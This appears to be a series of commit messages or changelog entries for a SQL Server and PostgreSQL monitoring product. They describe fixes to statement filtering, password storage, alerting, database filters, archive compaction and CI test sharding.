SQL Server statement text and execution plans now go through the same statement filter as PostgreSQL statement text in more places. They are Darling's MCP plan tools, its web pages, the diagnostics bundle and the analysis drill-down.

Some administrative statements, for example CREATE LOGIN or CREATE CREDENTIAL, read as '-- statement text withheld (#4348)'. So do the values and literals in that statement's plan. The rest of the plan is unchanged.

Part of #5320

* A scripted --encrypt-password no longer writes to the error stream on success (#5413) (#5417)

The Darling service's --encrypt-password wrote its "Password: " prompt and its paste hint to the error stream on every run, including a successful one. Windows PowerShell 5.1 turns each line a program writes to a captured or redirected error stream into an error record. So a script running with $ErrorActionPreference = 'Stop' stopped even though the command worked.

The prompt now shows only when a person is typing the password, and the paste hint only when a person is reading the console. A run that succeeds writes nothing to the error stream.

Closes #5413

* Lite Query Store top queries, comparison and regressions read query_text after the ranking (#5381) (#5396)

Lite's Query Store top queries, comparison and regressions carried the query text through their ranking. At Lite's 1 GB memory limit, wide windows ran out of memory.

They now take the query text after ranking, only for the ranked queries and only within the window read. When a query's newest kept interval has no text, the comparison and regressions fall back to an older kept row's text, newest day first. The 30-day top queries read can still run out of memory at 1 GB.

Part of #5381

* SQL Server statement text and plans go through the statement filter when they are collected (#5367)

SQL Server statement text and execution plans now go through the statement filter when Lite and Darling collect them, before either app stores them. Readers show a withheld statement or plan as withheld. Analysis findings and alert history filter statement text as each is written.

Get Actual Plan refuses a withheld statement. The mute dialog runs an alert's whole statement text through the filter before it fills in a pattern. Pileup and blocking-incident grouping keep different withheld statements apart.

The statement census test now fails on any pending column or writer in every Darling test run. The release job still runs it before packaging.

Closes #5320

* Lite's archive files get 2,048-row row groups, so a windowed read stops decoding a whole day of query text (#5381) (#5402)

DuckDB decodes a whole row group's column chunk for any read that touches the column. Lite wrote its archive files with large row groups, so a one-hour read of query text decoded about 73 MB from a compacted file.

Every Lite archive write now uses ZSTD and 2,048-row groups, so the same read decodes about 17 MB. Files written before this keep their row groups until retention removes them. The picks that break a tie on the newest row now also order by collection id.

Lite's main DuckDB connection now runs with a 2 GB memory limit and at most eight threads. Existing installs pick this up on their next start.

Part of #5381

* DarlingEncryptPasswordStreamTests awaits its tasks instead of blocking on them (#5426)

DarlingEncryptPasswordStreamTests blocked on its output tasks with GetAwaiter().GetResult(), which the xUnit analyzer reports as two xUnit1031 warnings. The helper and the three tests that call it now await those tasks. The waits and assertions are unchanged.

* Lite's Collection Health read finds the newest rows without four whole-window sorts (#5371) (#5388)

Lite's Collection Health read ranked every run of the 7-day window four times to find each collector's newest note, failure text, fan-out item and run. It now takes one aggregate pass plus keyed lookups at the newest instants, with the same 31 columns. A test checks every column against the old statement.

The Health and Log reads now log how long they waited for the lock, ran the statement and read the rows. The server tab's refresh can now cancel the Health, Log, Duration Trends and data-start reads. A cancelled read stops its statement and frees the lock. The tab reuses a Health result until its refresh interval passes, and a timer tick always reads fresh data.

Part of #5371

* Darling: store SQL login passwords on Linux, sealed to the service's key (#5387)

A SQL login password can now be saved and used on Linux. So can the SMTP password, the webhook URLs, the PagerDuty routing key and the generic webhook headers.

The Darling service keeps a key pair and publishes its public half in the store, with new tables for it. The Viewer, the web admin, the MCP add and edit tools and --add-server seal each value to that public half. Only the service opens it. Each saved value works only for the connection settings it was saved for, so changing one of them means entering the password again. Values saved the old Windows way keep working and are replaced the next time they are saved.

The Viewer remembers each store's key the first time it connects, shows its fingerprint, and asks before saving if the key changes. --reset-password-key makes a new key, after which saved values are entered again. The compose files and the documentation say where the key lives and how to back it up. A self-check in the Linux build checks the key file on Linux.

The generic webhook's headers go only to the generic URL itself or a path under it, never across a redirect, in Darling and in Lite. Viewers older than this change must be updated along with the service.

Fixes #5366

* The database filter reaches the duration trends, clutter, long-query and plan-correction reads in Darling's MCP and web (#5244) (#5414)

The database filter now reaches the duration trends, Query Store clutter, long-query and plan-correction reads. Six Darling MCP tools and five Lite tools take an optional database_name, and each limits the read to the chosen databases before any row limit. The web pages send the chosen databases to these six reads, so their chips read "filtered". A filtered answer with no rows says "for the database X" for one name or "for the chosen databases" for two or more. Answers carry a database_name key.

The blocking trend and severity charts in Lite, the desktop viewer and the web now say which collector answered. The desktop viewer's Blocking Stats tab limits its severity read and its data-start note to the chosen databases.

The duration and execution-count charts in Lite and the Darling viewer had a wrong rate for a chosen database. They divided a bucket's rate by only the collections where that database had rows. The filter now sits inside the sums, so every collection in the bucket counts. A stretch where the chosen database was quiet is drawn as zero, not as a gap.

Part of #5244

* get_pg_io_trend no longer times out when table statistics are stale (#5425) (#5442)

The get_pg_io_trend and get_file_io_trend tools no longer fail with "Exception while reading from stream" when PostgreSQL's row estimates for pg_io_stats or file_io_stats are out of date. Both used to join every row back to a windowed CTE: the interval to the previous collection, and the ranking of the file I/O series. With a stale estimate the planner ran each join as a nested loop and re-ran the windowed pass once per row. The pg_io_stats read took 64.7 seconds over 72 hours, and the file I/O read took 84.6 seconds over a week. Both are past the 30 second read deadline.

The pg_io_stats interval is now a LAG over per-snapshot sums. The file I/O series totals are window sums over one scan. Neither read has a join left, and the same rows and values come back. A new live test builds the stale-statistics state on purpose for every table the trend payload census covers. It reads all twelve trend tools at 72 and 168 hours, and it fails on the old file I/O query.

Fixes #5425

* The Darling service ships AWSSDK.SecurityToken so a role_arn AWS profile can assume its role (#5431) (#5446)

The Darling service can now assume an AWS role from an AWS_PROFILE profile. A profile with role_arn failed with "Assembly AWSSDK.SecurityToken could not be found or loaded", because the service did not ship that assembly. A cluster in another AWS account was out of reach. The service now ships AWSSDK.SecurityToken 4.0.101.1. AWSSDK.Core does not move.

The PostgreSQL first-target runbook also lists rds:DescribeDBInstances and pi:GetResourceMetrics in its IAM section, and it describes the cross-account setup.

Fixes #5431

* Severe errors show the database name their id had at the time of the error (#5373) (#5432)

A severe error now shows the database name its id carried when the error happened. SQL Server reuses the id of a dropped database. An old error from database A used to show database B's name once B took A's id. The fix covers Lite's Severe Errors view, the Darling viewer's Severe Errors tab and the Darling MCP tool get_health_parser_severe_errors.

Each error is named by the newest database-size snapshot at or before it that has the id. A database that was offline and not collected uses its last earlier snapshot. That snapshot is looked for at most 14 days back from the first error's snapshot. If there is none, the oldest snapshot within 14 days after the error is used, and then the raw id. An error with no time gets its id's newest name from the last 14 days. When one id has two names at one instant, the larger name wins in every read.

The database filter on both views follows the same name. One shared rule lives in the common project. Darling reads the history with one query on the existing size-snapshot time index. It runs one more only when an error has no time, and there is no migration.

Fixes #5373

* Lite shard packer: add a back-test command and record the re-fit finding (#5208) (#5430)

The Lite shard packer gets a backtest command that replays its wall-time model against earlier runs. It weighs each run's shards by the previous run's timings and prints modelled against ran for every shard.

Replaying 14 dev runs shows the model fits a shard's own seconds to 3 percent. The previous run's seconds are 25 percent off on average, though, because a test class's seconds swing with what runs beside it. No estimator over earlier runs got under about 19 percent. So the concurrency constant and the cut are unchanged, and the comment on the constant records what was tried. Five self-test assertions pin the new command.

Part of #5208

* The Darling viewer shows blank, not 0, for columns the hourly rollups do not keep (#5329) (#5443)

The Darling viewer's Top Queries and Top Procedures show blank, not 0, for the columns the hourly rollups do not keep. On a window served from the hourly rollups the grids showed 0 reads, writes, physical reads, rows and spills. Top Queries also showed 0 for DOP, grants, threads and CLR. A reads sort ranked by those zeros. Those cells are now blank, and the header note says so.

Min/Max CPU and elapsed are blank on the hourly route too. The rollup keeps only per-collection totals, so those columns held the smallest and largest per-collection sums, not the fastest and slowest execution. Raw-routed pages are unchanged. The web's Reads ranking now says in one sentence that it reads the raw collections, because the per-query hourly rollups keep no reads.

Part of #5329

* The desktop database filter narrows file I/O, sizes, the version store and locking in Lite and the Darling viewer (#5312) (#5438)

The saved database filter now narrows more screens in Lite and the Darling viewer. It now reaches the File I/O latency and throughput charts and the Database Sizes grid and size chart. It also reaches Storage Growth with the heatmap's database list and the Persistent Version Store grid and chart. The FinOps Locking grid, its database box and its optimized-locking note follow it too. They now show only the chosen databases.

The File I/O top ten files and the version store top five are ranked among the chosen databases. On the Locking tab the filter and the database box both apply. The Utilization free-space score stays server-wide. With no filter saved nothing changes. The FinOps tab reads the filter when it loads, so a change made in a server tab shows on its next refresh.

In the viewer, the Locking grid's 200-row cap now breaks ties like Lite and the MCP tool, so all three pick the same rows.

Closes #5312

* The retired-baseline sweep reopens its connection after a drop loses a race with a refresh job (#5439)

The retired-baseline sweep no longer leaves its connection dead when a drop loses a race with a TimescaleDB refresh job. A refresh job running at the moment of the sweep's DROP failed it with XX000 (tuple concurrently deleted). Npgsql closes the connection on that class of error. So the next relation and the convergence steps after the sweep failed with "Connection is not open" until the next hourly pass.

The sweep now reopens its connection after a failed drop and logs the failed drop once. Two live tests pin it: one plants an XX000 from inside the drop, one runs the refresh job beside the drop. The two original sweep tests also schedule their test aggregate's refresh policy a day out, so they no longer depend on timing.

Fixes #5416

* Lite merges query_snapshots archive files into one file per day (#5393) (#5434)

Lite now merges the `query_snapshots` archive files one day at a time into `YYYYMMDD_query_snapshots.parquet` (and `_ptNNN` parts). Before, each archive pass left its own file, and every read had to open all of them. A day of 24 hourly files of about 2.2 MB becomes one file, and larger days become a few parts.

Each merge takes up to 64 MiB of input on one thread. Its output row groups are cut at 32 MiB (`ROW_GROUP_SIZE_BYTES`), which is what bounds memory. On a heavy-plan test shape the worst measured peak was 1.18 GB under the 4 GB cap, flat from 8 to 64 MiB batches. The same input without the byte bound needed 3.0 GB or ran out of memory.

A file over the budget by itself is left as it is, and a failed merge leaves its inputs. Monthly or imported `query_snapshots` files are still not merged. A long first pass stops starting new day merges after 5 minutes and goes on in the next pass. An imported day file is no longer logged as unrecognized. A file named by an interrupted archive's journal is no longer merged away before its rows are deleted.

`tools/CompactionRepro` can now repeat plan text, copy inputs and set the row-group byte bound. The new and changed tests cover the day grouping, the budget split, the byte bound, the journal, retention and the one-hour read pruning row groups.

Fixes #5393

* The large plan read test survives a runner that stalls the statement filter (#5440) (#5445)

The large plan read test no longer fails when a busy machine stalls the statement filter past its time limits. The filter gives up on a plan it cannot finish judging in time: 1.5 s for a read, or 250 ms for one value. It then returns the withheld-text placeholder, and on a slow runner that turned a 600,000-character plan read into a failure.

The test now warms the filter first. It reads again, up to three times, only when it got the placeholder after at least 250 ms. A fast placeholder is never retried, and every assertion on the final answer is unchanged. The filter and its limits are not changed.

Fixes #5440

* The Darling PostgreSQL tests run in six CI shards, so the slowest finishes in about 13 minutes (#5433) (#5435)

The Darling PostgreSQL tests in CI now run in six shards instead of three. The three shards took 13 to 21 minutes each and set the finish time of a merge train. About 5 minutes of each shard is fixed cost (checkout, build, PostgreSQL setup) and the rest is tests.

A model from the observed shard spread puts the longest of six shards at about 13 minutes. That is under the build job and the slowest Lite shard. The class cut now divides by the size of the shard list, so every class stays in exactly one shard when the list changes. The comment above the job has the measured times and the model. No product code changes.

Fixes #5433

* The Darling viewer's procedure comparison, the two comparison twins and Query Store top text lookups get a time bound (#5420) (#5427)

Closes #5420.

* A store-object convergence step that breaks the store connection no longer fails the steps after it (#5444) (#5453)

Fixes #5444.

* At start, the Darling service raises one alert when it was not collecting for 15 minutes or more (#5450) (#5454)

Part of #5450 (proposal 1).

* The first start after the schema 165 upgrade takes the legacy password pins before it reads the server list, so saved passwords keep working (#5456)

Fixes #5455.

* PagerDuty: de-duplicate edge-type alerts into one incident (#5368)

Two opt-in PagerDuty settings, shared by Lite and Darling through PerformanceMonitor.Notifications. Both are off by default, and with them off every key stays as it was.

- With de-duplication on, the two halves of an edge pair go to one PagerDuty incident. The pairs are Server Unreachable with Server Restored, and AG Replica Disconnected with AG Replica Reconnected. The AG key carries the group and the replica, so one replica's reconnect closes only its own incident.
- With auto-resolve on, the closing edge is sent as a resolve on the same key. A delivered close lets the next outage post at once. The clear holds even when the cooldown re-reads the alert history.
- The replica identity is kept when an alert is copied for Summary-mode or per-event delivery.
- Darling store schema V166 adds the new setting's column.

Contributed by ianwalkeruk.

* The Darling service pings a dead-man's-switch URL while it is collecting (#5450) (#5460)

The Darling service can now send an HTTP GET to a dead-man's-switch URL every interval. A check outside the box then alerts when the service stops or stops collecting.

A new file-only `heartbeat` block in darling.json sets `url` (off by default) and `intervalSeconds` (60 to 3600, default 300). The URL is a plain URL or an `env:` or `file:` reference. Validation checks only the shape of a reference. The service reads it again on every ping, so a rotated token file is picked up. A file reference is read asynchronously and capped at 8 KB.

The ping goes out when no server is enabled. It also goes out when the newest collection_log time is at most 15 minutes old and at most 5 minutes ahead of the clock. A stale or future-dated collection time skips it, and so does a failed store read.

The URL is never logged, and logs name the scheme and host. A URL with a user name and password is refused. An http URL logs one warning. The diagnostics bundle aliases the check host. No web, MCP or triage page returns the block, and a null block means off.

The ping waits 10 seconds, follows no redirects and counts only a 2xx as success. A failed ping, or a failed read of the reference, logs one warning and then at most one per hour. Only shutdown ends the loop. The README gains a "Watching the service from outside" section with a host-level check and its SQL.

Part of #5450

* The database filter reaches the configuration, config change, severe error and default trace reads (#5244) (#5464)

The server page's database filter now reaches the database configuration, database-scoped configuration, Query Store health, configuration changes, severe errors and default trace reads. In Darling and Lite, the configuration changes, severe errors and default trace MCP tools take an optional database_name. The web route takes several chosen databases. Severe errors are matched on the name each error's database id had at the time of the error. That is the same name the rows show, in Darling, the Darling viewer and Lite.

On Lite's Severe Errors tab, a filter of proddb no longer matches a database named ProdDB. A filter entry written as database_id N no longer matches an error whose id has no name history. A whitespace-only database_name now means every database on the configuration reads, and a filtered empty answer names the database the same way in both apps.

Part of #5244

* The database filter reaches the storage and file I/O reads (#5462)

The server page's database filter now limits four panels to the chosen databases. They are File I/O Latency, database size, table and index size, and version store.
With exactly one database chosen, File I/O Latency draws one line per file.
With none or several, it draws one line per database and file type.

Darling's MCP server and Lite now give four tools a `database_name` argument. They are `get_database_sizes`, `get_table_index_sizes`, `get_pvs_stats` and `get_file_io_stats`.
Every answer says which database it was limited to. That includes the empty and not-collected answers.

`get_file_io_trend` no longer trims `database_name`. A name with a leading or trailing space is matched exactly.
An empty answer for a database that is not in the newest snapshot now says so for that database. It no longer blames collection.
This completes the database filter. Only the three deadlock reads stay unfiltered, on purpose.

Fixes #5244

* A daily audit of retained hourly history raises one Collection Gaps In History warning (#5450) (#5461)

Once a day, after 03:00 UTC, the Darling service audits the store's retained history for the previous UTC day. It raises one "Collection Gaps In History" warning when an hour fell below half of usual. Usual is the median of the 7 days before, for the same hour of day.

The five audited hourly rollups are judged on how many servers are present. The perfmon baseline is judged on servers and on collection passes, one row per server per pass. That count does not move with workload, so a quiet weekend with every server collecting flags nothing. Only servers enabled now are counted, on the audited day and the days before it. An hour flags only when its usual is at least 1, and the day's last hour is always judged.

A source is ready when it has any bucket at or after the day's 23:00 bucket. The read runs up to the current hour, so a hole across midnight is judged as soon as collection resumes. A source that fails to read, or is not ready, is retried alone on later ticks. Nothing is raised or stamped until every source is read or absent.

At the next day's slot the audit gives up with one log warning. It raises what it has. A source that was read but never ready keeps its flagged hours, marked as not complete. Every unread source is named in the alert text.

Sources with identical flagged ranges share one line. The hour count is the distinct hours flagged by any source. The two big Query Store rollups are read by one index probe per enabled server per hour. A scan of their 8-day window timed out at the audit's 60 seconds. The third Query Store hourly is not read, because the two audited ones cover it. The other sources keep one grouped read.

The audit day is in the alert's delivery key. So a give-up for one day and the next day's audit in the same tick both reach the channels. A restart on the same day does not raise it twice, because the daily documents' delivery stamp gates it. The alert text and the README note that a change to the perfmon collection schedule can trigger it for a few days.

The new metric is registered in the alert family, severity, classifier, triage, README and census pins, and in Lite's severity test.

Part of #5450 (proposal 3).

* Tighten the password pin step after the schema 165 upgrade (#5466)

The upgrade now records which old-format saved passwords are in the store, with the hash of each value and the connection it is saved for (a new rung, V167, in a new owner-only table). The one-time pin step works from that record: it pins a value only when its text and its connection both still match and this machine can open it. The step asks whether a value opens and never keeps the opened password in memory. A Windows host takes over a step a Linux host left open, and the pin step raises the config version in the same transaction as the pins so every host reloads. The step runs after the key step on every path and, when it could not run, is tried again on each sweep; until then the re-enter line tells the operator to wait. The record is taken only while the pin step is pending. Provisioning, the trigger check and the viewer's schema probe cover the new table.

* Tighten how Darling matches an RDS target to its AWS instance (#5465)

Tighten how Darling matches an RDS target to its AWS instance

Darling now checks an RDS or Aurora target's host before it reads that target's logs or Performance Insights data. It asks AWS for the endpoint of the instance or cluster that the host names. It compares that endpoint with the host it connects to, ignoring case and trailing dots.

On a match, reading goes on as before. On a mismatch, Darling reads nothing for that server. The runner records a PERMISSIONS outcome that names the host and the id.

A verdict is cached per server, host and id. A match is kept for an hour and a mismatch for five minutes. Editing or removing a server forgets its verdicts.

SECTION: Fixed
ENTRY: - **Darling checks an RDS or Aurora target's host against the endpoint AWS reports** ([#5465]). It does this before it reads that target's logs or Performance Insights data. If the host does not match, Darling reads nothing for that server and records a PERMISSIONS outcome naming the host and the id.

* Test clock helpers read the clock once per test (#5476)

Test clock helpers now read the clock once per test. Five Lite test classes cut UtcNow to the minute on every call to a Minute() helper. A test that ran across a minute boundary seeded rows into two minutes and failed (BlockingTrend_OneName_CountsOnlyThatDatabase, Expected [3, 1], Actual [2, 1, 1]). Each class now keeps one anchor per test instance.

Twenty expressions read UtcNow twice to cut it, and now read it once. Three places that took year, month, hour or minute from separate reads got one read each. A planted wait at the end of a minute fails the old helper three times out of three and passes with the fix. Test code only.

Fixes #5473

* A second PagerDuty recovery inside the alert cooldown now resolves the incident (#5469) (#5470)

A second PagerDuty recovery inside the alert cooldown now resolves the incident (#5469)

With PagerDuty auto-resolve on, a server that went down, up, down and up inside the alert cooldown sent trigger, resolve and trigger, and then nothing. The second recovery was throttled by the first one's cooldown, so PagerDuty's second incident stayed open. The AG replica pair had the same problem.

A delivered PagerDuty outage alert now also resets the cooldown on its recovery alert. The cooldown's history seed checks both alerts of the pair, so this still holds after the app restarts in the middle of an outage. The flag is read once per delivery.

With auto-resolve on and PagerDuty set up for the alert, each AG replica keeps its own cooldown. Teams, Slack and the generic webhook then send each replica its own outage and recovery notice. Email stays per server. With auto-resolve off, or with PagerDuty not set up for the alert, nothing changes. The generic webhook's `{{dedup_key}}` is unchanged.

The code is in the shared Notifications project, so Lite and Darling both get it, with tests in both.

Fixes #5469

SECTION: Fixed
ENTRY: - **PagerDuty auto-resolve now resolves a second outage that recovers inside the cooldown** ([#5469]) - The first recovery started its own cooldown. The clear after a delivered close only reset the outage alert, so the second recovery was throttled and PagerDuty's second incident stayed open. A delivered PagerDuty outage alert now also resets the cooldown on its recovery alert, in Lite and Darling. The same holds after the app restarts in the middle of an outage. With auto-resolve on and PagerDuty set up for the alert, each availability group replica also keeps its own alert cooldown. One replica's outage or recovery no longer throttles another replica's alert on the same server. With this on, each replica gets its own outage notice and its own recovery notice in Teams, Slack and the generic webhook. Email stays per server, with one cooldown for each server. With auto-resolve off, or with PagerDuty not set up for the alert, nothing changes. The generic webhook's `{{dedup_key}}` stays on per-state keys either way. This fixes unreleased behaviour from #5368.

* Lite keeps query stats and Query Store stats in one archive file per day (#5410) (#5482)

Lite's archive compaction now merges query_stats and query_store_stats one day at a time, the way it already does for query_snapshots, instead of one month at a time. A one-hour read of these tables touches about 4% of a day file's row groups instead of about 15-20% of a month file's. The day merge has no sort, runs on one thread with the 64 MiB per-batch budget and the 32 MiB row-group bound, and peaked at 1.16 GB at most in the measurement on the issue. Month files and imported_ files already on disk are left as they are and age out through retention. Rows still in per-cycle files at the switch were never merged into a month file, so a day file and a month file never hold the same row. New tests cover both tables: day file shape, parts past the budget, retention by day, the month-to-day seam read through the archive view, a one-hour windowed read, and the left-alone shapes.

Fixes #5410

* Procedure stats keep every procedure that did work, with plans for at most 150 (#5449) (#5463)

Procedure stats now keep every procedure, trigger and function that did work in the last minute. Before, they kept only the 150 with the most lifetime elapsed time. The main query reads every module that ran in the last ten minutes (safety cap 5000, newest first) as numbers only. A row whose counters did not move is dropped at read time, and its baseline still advances, so no work is lost. Plans render in a second query for at most 150 rows, ranked by work since the last run. A failed plan query ships the rows without plans.

The procedure trend rate, the Top Procedures slicer count and the data-start banner read the same on an older store and a new one. Every procedure chart has one point per successful collector run. A quiet run reads as zero work, and each point's seconds are the gap to the previous point. A stretch with no collector runs for over an hour is left out of the seconds a bucket divides by. A procedure that returns after a long absence no longer lowers the whole collection's rate. The Lite slicer overlays now plot each row's own delta.

The hourly procedure trend fills an hour as zero work only when the collector ran in it and stored nothing. A quiet hour at the start or end of a window, or between busy hours, reads 0. An hour the collector was down stays a gap, and a wider bucket divides by the hours it covers. The per-procedure history charts plot a quiet run at its start, with the right neighbours. The Darling "data starts at" note follows where retention cut the rows, and counts collector runs on a store with no procedure row yet.

Fixes #5449

* The statement filter judges each document once and its budget grows with the documents (#5477) (#5478)

The statement filter read a blocking alert's report twice and gave a whole alert, or a whole MCP or web answer, one fixed 1.5 s. On a busy machine a large report could use that up, and the alert went out without its details.

Each budget now remembers what it judged. A document that appears twice is judged once. A repeat returns the first result, a withheld marker included, or the caller's own instance when nothing was named. The allowance grows by half a second per megabyte of each distinct document, up to 10 s. A capped read earns only for the text it can judge. The alert path and the MCP and web sweep both use it, in Darling and in Lite.

A document whose raw text the pre-check clears, and which has no character the reader would change, skips the full walk.

A warm-up runs at start in Darling and Lite, off the startup path. It judges a blocked-process report and a deadlock graph of about 64 KB a few dozen times. The first large alert then does not pay for the first calls.

Fixes #5477

* Four Darling live tests wait for the state they assert (#5480)

Four Darling live tests failed intermittently on CI because they read state before it existed, and each now waits for the state it asserts. The query-store literal-end test waits for every other backend to exit before each scan-count snapshot, and flushes its own counters. A late statistics flush no longer lands between two snapshots. The async plan-parse cancellation test cancels from the statement hook at statement 3 instead of racing a 50 ms timer. The log-tail rotation test accepts PostgreSQL 18's repeated lock-wait line, requiring each line to be read once with one identity. The csvlog test waits until both of its own planted FATAL entries are readable. Tests only. Every assertion each test had is still there. Before every DROP DATABASE WITH (FORCE), the test drops of scratch databases now unschedule the database's TimescaleDB jobs. They then wait up to 10 s for running job workers to leave. A census test requires that call at every such drop. The CI workflows warn when the PostgreSQL log holds "terminated by exception".

* PLAN_REGRESSION reads per-day totals for closed days instead of re-reading 14 days on every run (#5448) (#5467)

Darling's plan regression check reads stored per-day totals for closed days (#5448)

The PLAN_REGRESSION fact re-read and re-added 14 days of Query Store intervals on every analysis run. On the busiest server of an 87.4 M-row store (4.67 M rows), one run took 8.6 s and 986 K buffers.

Darling now builds each closed day's totals once per server and keeps them. The fact reads those totals for the closed days and reads only the last three days live. On the same server, a run takes 1.28 s and 338 K buffers. One closed-day build takes about 1.1 s.

A late Query Store row for a closed day marks that day, and the next build redoes it. The built-days read and the daily read run in one read-only repeatable-read transaction, so both see the same days. The comparison window now starts at the beginning of a day, and the regressed-queries drill-down uses the same start. A read that cannot use the totals falls back to the old read. That fallback is logged and records no collection caveat, because nothing is missing. Expired days are removed one key at a time through the index.

The store moves to schema version 168.

Fixes #5448

* Keep logical reads in hourly rollups so long Top Queries and Top Procedures rankings can use them (#5472)

Top Queries and Top Procedures can rank by reads from new hourly rollups (#5329)

The old hourly rollups kept no logical reads, so a reads ranking past the raw tier's roughly 90 hours had nothing to read. The hourly CPU, duration and executions lists showed no reads either.

The store now creates `collect.query_stats_io_hourly` and `collect.procedure_stats_io_hourly` from the ensure sweep on the next start. Each copies its matching interval rollup and adds sums of logical reads, physical reads and logical writes. They stay beside the interval rollups rather than replacing them, because the readers never use the daily tier. That costs a second hourly refresh and its storage. On a large store, the first fill of one day took 38.5 s for queries and 22.8 s for procedures.

When an io rollup reaches the start of the window, the Darling web app, the MCP tools and the Darling viewer rank every list from it. Those lists then show reads, physical reads and writes. Until then, a reads ranking uses raw, or the rollup that reaches further back, and says which one answered. A reads ranking that a filter forces to raw names that filter. The MCP precision note names the relation that answered.

On an hourly window the viewer banner and the MCP note name the window edges. The start edge is per server, so a server added later shows its own first hourly bucket. An empty hourly grid names no start. The rollup floor cache reads each earlier floor with one bounded statement (0.026 ms cold on a large store).

On upgrade the new rollups fill from the raw data still kept, so a 7-day window stays partial for about 6 days. `--backfill-rollups` fills them down to raw's oldest row at once.

Fixes #5329

* A guard miss fails the pull request in about 6 minutes and skips every shard (#5471)

A new Guard tests job now runs first on a pull request. It runs the classes tagged Stage=Guard in both test suites. These are about 140 source pins, censuses and hygiene scans. A guard miss now fails in about 6 minutes with every shard skipped, instead of after the whole run.

On a pull request, the PostgreSQL shards, the Lite shards, the Linux build and the whole-tree guards start only after it succeeds. The build check fails on its second step, and the PostgreSQL and Lite result checks report "Guard tests failed". The result jobs also stop treating a skipped matrix as a pass. The results of push, merge queue and release runs are unchanged, but those runs wait for the guard job before the shards start.

A census class in each test suite checks the tagging. It fails any guard-style class, or any class that walks the whole repository, that is not tagged. The only way out is a short exemption list with a reason for each entry. Each census also compares its scan with the set xunit really selects. That set is read off the test assembly the way xunit discovers it. Method-level traits, constants, linked files, static and non-public methods, and static classes all count. The no-store rule applies to it too. The guard job fails a skipped test, so a tagged test that needs a store cannot pass by skipping.

Part of #5459

* Darling's memory launch guard releases after a garbage collection, reads resident memory on Linux, and alerts keep running while it holds (#5481)

Darling's memory launch guard now releases itself. When the figure crosses the line, it runs a full garbage collection at most once a minute and measures again. A crossing within a minute of the last collection holds new launches off quietly until the next one. A figure still over after a collection holds them off, with one Critical per episode that names the figure or says the collection failed.

On Linux it measures resident memory against the tightest limit of its own cgroup and every parent, and --check-settings reads the limit the same way. Collection Stopped, the other store-polled self-alerts and the custom-alert rules run in their own pass every loop tick, at most four servers at a time. Collection Falling Behind counts each collector slot that comes due during a hold as skipped, once. The first launch after the release counts none of them again.

Fixes #5479

* An RDS or Aurora target can name the AWS role Darling assumes for it (#5468)

Each PostgreSQL server in Darling can use its own AWS role (#5452)

An Amazon RDS or Aurora PostgreSQL target can name the AWS IAM role Darling assumes to reach it, with an optional external ID. When it is unset, Darling uses the process's own AWS credentials, as before.

The server registry gets the role ARN and external ID columns in rung V169, plus a stored flag that says whether an ID is set. One validator, `AwsRoleSettings`, checks both values. darling.json takes `awsRoleArn` and `awsExternalId`, and they seed a new row only, as every other field does. The darling.json drift report compares `awsRoleArn` with the stored role, and never compares the external ID.

The web Servers page, the MCP `add_servers` and `edit_server` tools, the desktop viewer and `--add-server` can set the role too. The web, MCP and desktop viewer can set only a role that the new `allowedAwsRoles` setting lists or that a darling.json server names. That setting takes exact role ARNs or account ids, and an account id can carry an `aws-cn:` or `aws-us-gov:` prefix. The service checks the same list each time it assumes a role.

The service assumes the role through AWS STS. It uses the role for the host check, instance CPU (RDS and Performance Insights), plan capture, deadlocks and log events. A role it cannot use shows on that server's collection health, with a message that names the role.

Read-only roles see the role and the flag but never the external ID. The web, MCP and viewer never show a stored external ID back. The viewer keeps the stored ID unless a new one is typed, the Clear box is ticked, or the role changes.

The edit function answers `invalid_value` for a missing required field or any constraint refusal. The MCP and web edit paths say so in a plain sentence. Role and external-ID edits made as the mcp login go through the edit function. The store log masks row values in constraint DETAIL text. It keeps no DETAIL when the store's `lc_messages` is not C, POSIX or an English locale.

The runbook and the Darling README describe all of it.

Fixes #5452

* The CI shards reuse the Guard tests job's build instead of building the test projects again (#5459) (#5485)

CI: the PostgreSQL shards, the Lite shards and the whole-tree guards job now fetch the test projects that the Guard tests job already built. They no longer restore and build them again. The Guard job uploads one artifact per suite (Darling and Lite) with a small origin file, and each consumer checks that file before using it. With no artifact, the old restore and build still run. The Guard-stage classes no longer run a second time in the shards.

Coverage is unchanged. Darling shards ran 28030 tests before and 26727 now. The Guard job grew from 1303 to 1307 (the four new workflow-pin tests), so 26727 + 1307 = 28034. Lite is 8543 + 372 = 8915, which equals the old shard total exactly.

Runner time drops from 174.7 to 135.2 minutes per run (about 39.5 minutes, 23%), and wall clock from 36.1 to 30.4 minutes.

Refs #5459

* Large alerts and MCP and web reads in the first seconds after a start wait for the filter's warm-up, and the large-document tests run it (#5478) (#5484)

The large-document statement filter tests now run the product's own start-up warm-up once per test process. The first test to walk a 4 MB report no longer pays for cold, unoptimized code. No budget, constant or assertion changed.

At start the product runs a warm-up of the statement filter. Lite reads its stored alerts almost at once. A call that judges 256 KB or more of text now waits for a running warm-up. That covers an alert, an MCP read and a web read. It never waits past 3 seconds after the warm-up started.

The deadline is shared. A slow warm-up costs the process 3 seconds once, not once per call. Smaller calls never wait. The alert engine's fire path awaits the warm-up instead of blocking its thread. The warm-up's own calls never wait on themselves. A finished or failed warm-up delays no one.

Refs #5478

* The Query Store backfill stops retrying databases that were dropped from the server (#5483) (#5486)

The Query Store backfill now stops trying databases that were dropped from the monitored server, in both Darling and Lite. It chose its databases from the Query Store rows already collected, so a dropped database stayed on the list until its last row aged out. Every pass then failed on it with "database does not exist". A failed attempt never touched the saved state, and the hourly clean-up already removed that state, so those were not the cause.

The backfill now drops a database from its list when the newest database-state snapshot does not name it. It also requires that no row for the database was collected since that snapshot. A database created after the snapshot is still worked. A server with no snapshot, or one whose newest snapshot is older than three times its database-state interval (at least one hour), is left alone. A failed check keeps every database and logs one warning for each run of failures. Darling and Lite share the SQL text and the rule.

Fixes #5483

* Lite.Tests records per-test CPU time beside wall time (#5208) (#5487)

Lite.Tests now records the managed CPU time of each test as a `cpu-ms` attachment in the -xml results. It also logs one coverage line per run (charged CPU, process CPU, ratio), with a sidecar `<xml>.cpu.json` beside the XML. `lite-timing-top.py` shows a CPU column and a top-10-by-CPU list, and `lite-shard-pack.py backtest` reports the CPU-weighted cut's error beside the wall-weighted error. This is measurement only: no test is skipped, filtered or re-ordered, and `pack` still cuts by wall time. On CI the hook adds no overhead above run-to-run noise. About 65% of process CPU is charged to tests (the rest is native DuckDB threads and work off the execution context).

Refs #5208

* The #5448 late-row live test passes from 00:00 to 04:00 UTC (#5494)

